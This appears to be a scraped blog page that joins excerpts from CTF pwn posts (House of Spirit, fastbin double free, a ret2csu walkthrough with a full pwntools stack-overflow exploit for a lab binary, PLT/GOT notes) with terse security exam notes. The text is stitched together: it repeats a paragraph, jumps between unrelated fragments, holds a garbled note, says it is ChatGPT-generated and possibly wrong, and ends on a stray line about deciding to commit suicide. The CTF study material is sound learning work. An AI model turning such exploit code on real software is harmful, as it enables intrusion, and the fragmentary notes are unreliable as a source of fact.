PWN House_of_Spirit
Take a look at House_of_spirit
, which is a technique that relies on constructing fake_chunk
on the stack to achieve (almost) arbitrary write
. It depends on fastbin
.
Take a look at House_of_spirit
, which is a technique that relies on constructing fake_chunk
on the stack to achieve (almost) arbitrary write
. It depends on fastbin
.
After dawdling for so long, I finally managed to dive into the world of HEAP.
Thanks to Ayang's (bushi) guidance.
Let's first take a look at the simplest Use After Free
exploit, which requires minimal understanding of heap concepts. I will probably write about Double Free + Unlink
tomorrow.
I used the original challenge hacknote from CTF-WIKI
.
Recently, when I set up Ubuntu18 and was testing it, I encountered a problem.
After researching for a long time, I finally solved it and decided to take some notes.
Double Free is an easily exploitable vulnerability in the Fastbin, let's examine it.
The overall principle is quite simple, as explained on ctf-wiki. The main idea is that due to the way the fastbin checks are implemented, it only checks the head of the linked list and does not clear prev_in_use
when freeing a chunk.
There is relevant source code available in the link provided as well.
In a 64-bit ELF file, the first six parameters of a function call are stored in the registers rdi, rsi, rdx, rcx, r8, r9. When constructing a ROP chain, it is often challenging to find the corresponding gadgets (especially for rdx). The key point of ret2csu is to use __libc_csu_init()
to obtain two gadgets for universal parameter passing (while also leaking the address of a function).
__libc_csu_init()
is a function used to initialize libc, and since most software relies on libc, we can consider __libc_csu_init()
to be a fairly generic function in programs.
Let's take a look at it in a random 64-bit ELF file:
.text:0000000000401250 loc_401250:
.text:0000000000401250 mov rdx, r14
.text:0000000000401253 mov rsi, r13
.text:0000000000401256 mov edi, r12d
.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040125D add rbx, 1
.text:0000000000401261 cmp rbp, rbx
.text:0000000000401264 jnz short loc_401250
.text:0000000000401266
.text:0000000000401266 loc_401266:
.text:0000000000401266 add rsp, 8
.text:000000000040126A pop rbx
.text:000000000040126B pop rbp
.text:000000000040126C pop r12
.text:000000000040126E pop r13
.text:0000000000401270 pop r14
.text:0000000000401272 pop r15
.text:0000000000401274 retn
From this, we can see that we can set r15+rbx*8
as the pointer to the function we want to execute, and edi, rsi, rdx
can be used as function parameters.
Usually, we set rbx=0, rbp=1
, which simplifies the use of gadgets significantly.
Here, I will only explore the principle of ret2csu (because I have a HGAME to play in half an hour). So, I wrote a simple program that leaks the actual address of a function directly.
Source code:
#include<stdio.h>
#include<unistd.h>
int vul(int a,int b,int c){
if(c == 233)
printf("Big Hacker!\n");
return 0;
}
int main(){
char buf[30];
int (*ptr)(int a,int b,int c) = vul;
printf("gift: %p\n", &ptr);
read(0,buf,0x100);
return 0;
}
Compilation:
gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits
The idea is simple, we just need to use __libc_csu_init()
to assign 233 to rdx. However, there are no gadgets in ROP that allow us to do this.
At this point, we need to use ret2csu.
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Padding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload
It's worth noting that after executing gadget1, the program will go on to execute gadget2. Therefore, we need to pad (7*0x8)
trash bytes to prevent errors.
Complete payload:
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process('./ret2csu_64bits')
elf = ELF('./ret2csu_64bits')
sh.recvuntil(b"gift: ")
vul_addr = int(sh.recvline(), 16)
csu_gadget1_addr = 0x401250
csu_gadget2_addr = 0x401266
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Padding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload
gdb.attach(sh)
payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])
sh.sendline(payload)
sh.interactive()
Ready to study the bypass under different protection mechanisms before diving into the heap.
Let's take a look at Canary today
After fooling around for a month, finally starting to dive into PWN.
When building an executable1, there are usually two stages: compilation and linking. Dynamic linking
and static linking
are two different mechanisms used in the linking stage.
Involves linking multiple object files generated from individual source files (each .c
file generates a .o
file) to create an executable. This process is known as static linking.
After linking, the content of these static libraries2 is integrated into the executable file, or loaded into the address space of the executable file with static memory offsets determined during linking. This typically results in executable files created by static linking being larger compared to those created by dynamic linking.
When a program (executable file or library) is loaded into memory, static variables are stored in the program's address space in the data segment (initialized) or bss segment (uninitialized).
Dynamic linking mainly addresses the drawbacks of static linking.
The idea behind dynamic linking is to link program modules together to form a complete program only at runtime. During linking, it only marks unreferenced symbols and generates additional code segments (the PLT table) for symbol redirection at runtime. Different systems implement dynamic linking differently, and you can find more information on dynamic linkers under Dynamic Linker on Wikipedia. We will now focus more on dynamic linking in Unix-like Systems.
For a detailed explanation of the dynamic linking process, you can read What is PLT and GOT in Linux dynamic linking (1) — What is PLT and GOT in the references.
Global Offset Table3, maps symbols to their corresponding absolute memory addresses.
Procedure Linkage Table4, maps functions to their corresponding absolute memory addresses.
The global offset table converts position-independent address calculations to absolute locations.
Similarly, the procedure linkage table converts position-independent function calls to absolute locations.
In brief, the code at the PLT works like this: it jumps to the GOT table to look up the actual address of the function to be executed. If the address needed is not in the .got.plt section, the linker will find the function, fill its address into the .got.plt section, and then jump to execute it.
This is a simplified diagram.
When executing function@plt, the program first executes jmp [[email protected]]
.
Before function is called, [email protected] contains [function@plt+4]
, meaning that before the function is executed, jmp [[email protected]]
actually just jumps to the next line push 0xX
.
Here, 0xX represents the index position in the GOT table. For example, if function is plt[1], then its corresponding X is 3, i.e., push 0x3
.
It then executes jmp plt[0]
.
We won't delve into the specifics of plt[0]; just understand that it locates the linker, uses GOT[1] and GOT[2] to store the actual address of the function at the corresponding [email protected], and executes the function to return.
So, when function@plt is executed for the second time, jmp [[email protected]]
jumps to the actual address of the function.
This is the theoretical basis for obtaining libc offsets through GOT leaks.
What is PLT and GOT in Linux dynamic linking (1) — What is PLT and GOT
In-depth understanding of static linking and dynamic linking
Thorough understanding of GOT and PLT
Detailed explanation of GOT table and PLT table
(Since the logo could not be found, I stole a banner_img())
The fifth space following sea, land, air, and space.
A dynamic virtual space that includes various computing systems, networks, hardware and software, data, and information.
Research on the threats and defense measures faced by information, networks, and systems in the process of producing, transmitting, storing, and processing information.
An inherent quality of information security.
Ensures that information cannot be accessed without authorization, and even if accessed without authorization, it cannot be used.
Ensures the consistency of information.
Guarantees that information does not undergo unauthorized alterations, whether intentional or unintentional, during generation, transmission, storage, and processing.
Ensures the ability to provide services at any time.
Guarantees that information can be accessed by authorized users whenever needed.
Ensures the truthfulness of information.
Guarantees that information cannot be denied by users after it has been generated, issued, or received.
Monitoring of information and information systems.
Control of information dissemination and content.
Using auditing, monitoring, signatures, etc., to make users' actions verifiable.
Facilitates accountability after the fact.
Security of infrastructure.
Includes device security and electromagnetic security.
Security of information systems.
Includes system security and network security.
Security of information itself.
Protection through encryption.
Security of information utilization.
Content identification and big data privacy.
PPDR, PDRR -> APPDRR
Understand the risk information faced by network security, and then take necessary measures.
Principled guidance.
Update policies based on risk assessment and security needs.
Proactive security protection system.
Firewalls, access control, data encryption.
Network security event detection.
Intrusion detection, traffic analysis.
Prevention of malicious code and emergency response technology.
Defense against resource-consuming attacks such as DDoS and botnets.
Enhance the survivability, resistance to destruction, and reliability of networks and information systems.
Remote data backup and quick recovery.
The original form of information.
The result of encoding plaintext.
The process of encoding plaintext is called encryption, and the rules of encoding are called encryption algorithms.
The process of recovering plaintext from ciphertext is called decryption, and the rules of recovery are called decryption algorithms.
Controls the mutual conversion between plaintext and ciphertext, divided into encryption key and decryption key.
Block ciphers and stream ciphers can be regarded as subclasses of symmetric encryption.
Security, performance, ease of use, cost.
Complex relationship between the key, ciphertext, and plaintext to thwart cryptanalysis.
Each bit of plaintext affects many bits of ciphertext to hide statistical properties of plaintext.
Each bit of the key affects many bits of ciphertext to prevent cracking the key bit by bit.
Increased complexity of the key space.
Increased algorithm complexity.
Same encryption and decryption algorithm.
Key encrypts the key.
Session-specific key.
Central to the system.
Security depends on the key.
Block cipher that divides plaintext into 64 bits, uses a 56-bit key to generate 48-bit subkeys, encrypts each 64-bit plaintext block with subkeys to produce 64-bit ciphertext.
Simple and fast to generate.
Each bit of the key has roughly the same influence on each bit of the subkey.
Fast computation speed.
Relatively short key length.
No data expansion.
Difficult key distribution.
Large number of keys to be kept secret, difficult to maintain.
Difficult to achieve digital signature and authentication functions.
Public key cryptography is a hallmark of modern cryptography and is the largest and only true revolution in the history of cryptography.
Encryption key is the public key.
Decryption key is the private key.
Easy key distribution.
Small amount of secret keys to be kept secret.
Ability to implement digital signature and authentication functions.
Slow computational speed.
Long key length.
Data expansion.
Regarding Hash and Authentication: Without a certificate, the identity of the party obtaining the public key cannot be confirmed.
Publicly agree on p and g.
Alice and Bob each choose a number a and b.
Compute g^a mod p = Ka
and g^b mod p = Kb
to exchange.
Ka^b mod p = Kb^a mod p = K
is the key.
Achievement
Solved an impossible problem.
Limitations
Must be online simultaneously.
Given P and M, calculating C = P(M) is easy.
Given C but not S, calculating M is difficult.
Given C and S, calculating M is easy.
Keep p and q secret.
e and n are public keys.
d is the private key.
Encryption Algorithm: C = E(M) ≡ M^e (mod n).
Decryption Algorithm: M = D(C) ≡ C^d (mod n).
Unclear, possibly Ks(Ks(N1)) = D?
Domain Name System, a distributed database that maps IP addresses to domain names and vice versa.
Denial of Service Attack.
A destructive attack method that prevents or denies legitimate users from accessing network services.
Normal TCP three-way handshake:
DoS Attack:
DDoS:
Using a botnet to distribute denial of service attacks.
Advanced Persistent Threat.
An advanced access control device placed between different network security domains to control (allow, deny, record) access to and from the network.
Based on time.
Based on traffic.
NAT functionality.
VPN functionality.
Logging and auditing.
Monitoring and filtering incoming and outgoing IP packets on the network based on IP addresses to allow communication with specified IPs.
Network Address Translation.
One-to-one and many-to-one address conversion.
Establish a temporary, secure connection over a public network, providing the same level of security and functionality as a private network.
Records data, analyzes abnormal data, and discerns actual content through camouflage techniques.
Detects intrusion occurrences, halts intrusions through certain responses, making IDS and firewalls function as one unit.
Automatically detect weak points and vulnerabilities in remote or local hosts in terms of security.
Security defects in hardware, software, or policies that allow attackers unauthorized access to and control over systems.
Software upgrade or combined program developed to plug security holes.
A flaw in hardware, software, or policies that allows attackers to access and control systems without authorization.
The last line of defense.
Identification, recording, storage, and analysis of security-related information.
Software
Hardware
Proving a statement is true without revealing any useful information to V.
Alice tells Bob she has the key to the room but doesn't show the key.
Instead, she shows an item that's only found inside the room, making Bob believe she has the key without actually seeing it.
Techniques to enforce a defined security policy for system security, allowing or denying access requests to all resources by some method.
The last line of defense.
Identifying, recording, storing, and analyzing relevant information related to security.
This Content is generated by ChatGPT and might be wrong / incomplete, refer to Chinese version if you find something wrong.
After some painful reflections, failing to solve a few problems in a row, and receiving some guidance from zbr, I decided to commit suicide.
Enough.